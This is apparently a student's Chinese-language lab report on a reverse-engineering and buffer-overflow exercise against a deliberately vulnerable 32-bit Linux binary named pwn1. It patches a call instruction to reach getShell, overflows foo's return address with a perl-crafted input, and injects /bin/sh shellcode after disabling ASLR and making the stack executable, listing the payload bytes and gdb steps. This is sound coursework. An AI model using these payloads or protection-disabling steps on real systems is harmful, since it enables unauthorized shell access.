Exp1 PC平台逆向破解(5)M
一、实验目标
本次实践的对象是一个名为
pwn1
的linux
可执行文件。该程序正常执行流程是:
main
调用foo
函数,foo
函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段
getShell
,会返回一个可用Shell
。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这 个代码片段,然后学习如何注入运行任何Shellcode
。
二、实验知识掌握
1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
通过反汇编指令objdump -d 20154322yqh
查看可执行文件20154322yqh的反汇编代码和对应的机器码
可看出:
NOP汇编指令的机器码是:90
JNE汇编指令的机器码是:75
JE汇编指令的机器码是:74
JMP汇编指令的机器码是:eb
CMP汇编指令的机器码是:39
2.掌握反汇编与十六进制编程器
- 反汇编:把目标代码转为汇编代码的过程,也可以说是把机器语言转换为汇编语言代码、低级转高级的意思。(来源:百度反汇编
反汇编指令是objdump -d filename
,-d
是反汇编test中的需要执行指令的那些section。
其余objdump命令的使用可参考:CSDN博客 - 十六进制编程器:用来以16进制视图进行文本编辑的编辑工具软件。在
vim
中即可实现,步骤如下:
* 输入命令vi 20154322
查看可执行文件内容。
* 按esc
后输入:%!xxd
切换为16进制表示。
* 按:%!xxd -r
切换为原格式。
三、实验步骤及结果
1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
实验步骤如下:
①输入反汇编指令objdump -d 20154322
查看可执行文件内容,找到需要修改的代码行
②找到getshell函数和foo函数的地址,分别是0804847d
和08048491
,若想让这条指令之后转入getshell函数,则需将地址 d7ffffff修改 为 getShell(80484ba)对应的补码(47d-4ba),即为:c3ffffff。
③用vim编辑器打开20154322文件vi 20154322
,并输入:%!xxd
将其转化为16进制表示
④用/e8 d7
查找需要修改的内容;
⑤修改d7
为c3
(修改时需先按r
)
⑥输入:%!xxd -r
转换16进制为原格式
⑦保存并退出wq
⑧输入反汇编指令objdump -d 20154322
查看修改后的地址,发现修改成功
2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
实验步骤如下:
①由图可知:foo
函数执行完成之后,系统会调用的下一条指令的地址为80484ba
。我们的目标即是通过foo
函数的Bof漏洞输入一段字符串覆盖掉80484ba
,使得80484ba
的值为0804847d
,这样即可getshell
函数。
②确认输入字符串哪几个字符会覆盖到返回地址
③用gdb
调试程序
* `gdb`:调试运行程序,再输入`r`运行程序。
④ 输入有规律的字符串如“1111111122222222333333334444444456781234” 发现缓冲区溢出,用info r
或info r eip
查看寄存器eip
的值,看输入的哪个字节覆盖了它,发现是“5678”这四个字节。
⑤由于"5678"这四个数最终会覆盖到堆栈上的返回地址,所以我们要用getshell
的地址0804847d
替换它
⑥根据数据的小端方式存储,我们要在32字节后输入\x7d\x84\x04\x08
这四个字节来覆盖返回地址为getshell的地址
\x0a
表示回车;xxd
查看文件十六进制格式的内容。perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
将字符串写入input文件;
⑦将input的输入,通过管道符“|”,将(cat input;cat) | ./20154322
输入,覆盖返回地址
3注入一个自己制作的shellcode并运行这段shellcode
①安装execstack并修改设置 apt-get install execstack
②准备一段Shellcode
shellcode就是一段机器指令,我们这里使用的shellcode是参考提供。\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
③设置堆栈可执行execstack -s 20154322
④查询文件的堆栈是否可执行execstack -q 20154322
⑤查询文件的堆栈是否可执行execstack -q 20154322
⑥检测地址随机化状态more /proc/sys/kernel/randomize_va_space
⑦关闭地址随机化echo "0" > /proc/sys/kernel/randomize_va_space
⑧检测地址随机化状态more /proc/sys/kernel/randomize_va_space
X
表示文件的堆栈可执行,0
表示地址随机化
⑨注入shellcode
:Linux下有两种基本构造攻击buf的方法:retaddr+nop+shellcode
和nop+shellcode+retaddr
。缓冲区小就用前一种方法,缓冲区大就用后一种方法。我们选用retaddr+nop+shellcode
方法。
* 与之前相同,我们把输入的字串放入input_shellcode文件里 :
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
,其中,最后的\x4\x3\x2\x1作为试探地址,将覆盖到堆栈上的返回地址的位置。
注意:输入完指令只需要按一次回车,然后我们需要打开另一个终端
⑩用ps -ef | grep20154322
查看进程号
由图可知,进程号为:2612
⑪进入gdb调试该进程 attach 2612
⑫置断点来查看注入buf的内存地址disassemble foo
break *0x080484ae
设置断点,用以查看注入buf的内存地址
可以看到,会断在080484ae,ret
完,就跳到我们覆盖的retaddr
的位置了。
⑬在另一个终端按下回车,这样程序就会执行之后在断点处停下来。再在gdb调试的终端输入 c 继续运行程序
⑭通过info r esp
查看esp寄存器的地址
⑮先找到ESP的地址,再根据ESP的地址找到shellcode的地址。x/16x 0xffffd3cc
,找到了1234的位置
⑯可以看到 01020304 所在的地址为 0xffffd3cc,那么注入的shellcode代码的地址应该在该地址后四个字节的位置,即0xffffd3cc + 0x00000004 = 0xffffd3d0
⑰退出gdp调试,将shellcode写入perl -e 'print "A" x 32;print "\xd0\xd3\xff\xff\x31\xf6\xf7\xe6\x52\x52\x52\x54\x5b\x53\x5f\xc7\x07\x2f\x62\x69\x6e\xc7\x47\x04\x2f\x2f\x73\x68\x40\x75\x04\xb0\x3b\x0f\x05\x31\xc9\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode
如图所示,注入攻击成功。
四、存在问题及解决方案
问题1:不明白如何在foo函数地址的基础上修改为getshell函数的地址
方法:两个函数的相对地址是不变的,因此将foo函数地址 d7ffffff修改 为 getShell(80484ba)对应的补码(47d-4ba),即为:c3ffffff。
**问题2:./20154322执行 会出现[ bash: ./20154322:没有那个文件或目录]的提示。
方法:A用文本编辑器打开source.list
B添加下列更新源
`#阿里云kali源
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free
deb-src http://mirrors.aliyun.com/kali-security kali-rolling/updates main contrib non-free
中科大kali源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
deb-src http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free
`
C对软件进行一次整体更新(一共923M的更新包)
apt-get clean apt-get update apt-get upgrade
D安装32位运行库
apt-get install lib32ncurses5
五、实验体会
这是我第一次接触在Linux基础上的网络攻防实验。整体感觉还是挺有趣的,知道了什么是逆向破解,以及逆向破解的三种方法。虽然实验过程有些繁琐,但学到了知识收获还是不少。中途出现了有些问题,也通过上网查找资料,与同学老师交流探讨找到了答案。这种通过自己的一次次尝试实践,一步步获得了理想的实验结果是最大的满足感,也让自己对以后的网络攻防实验充满信心与期待。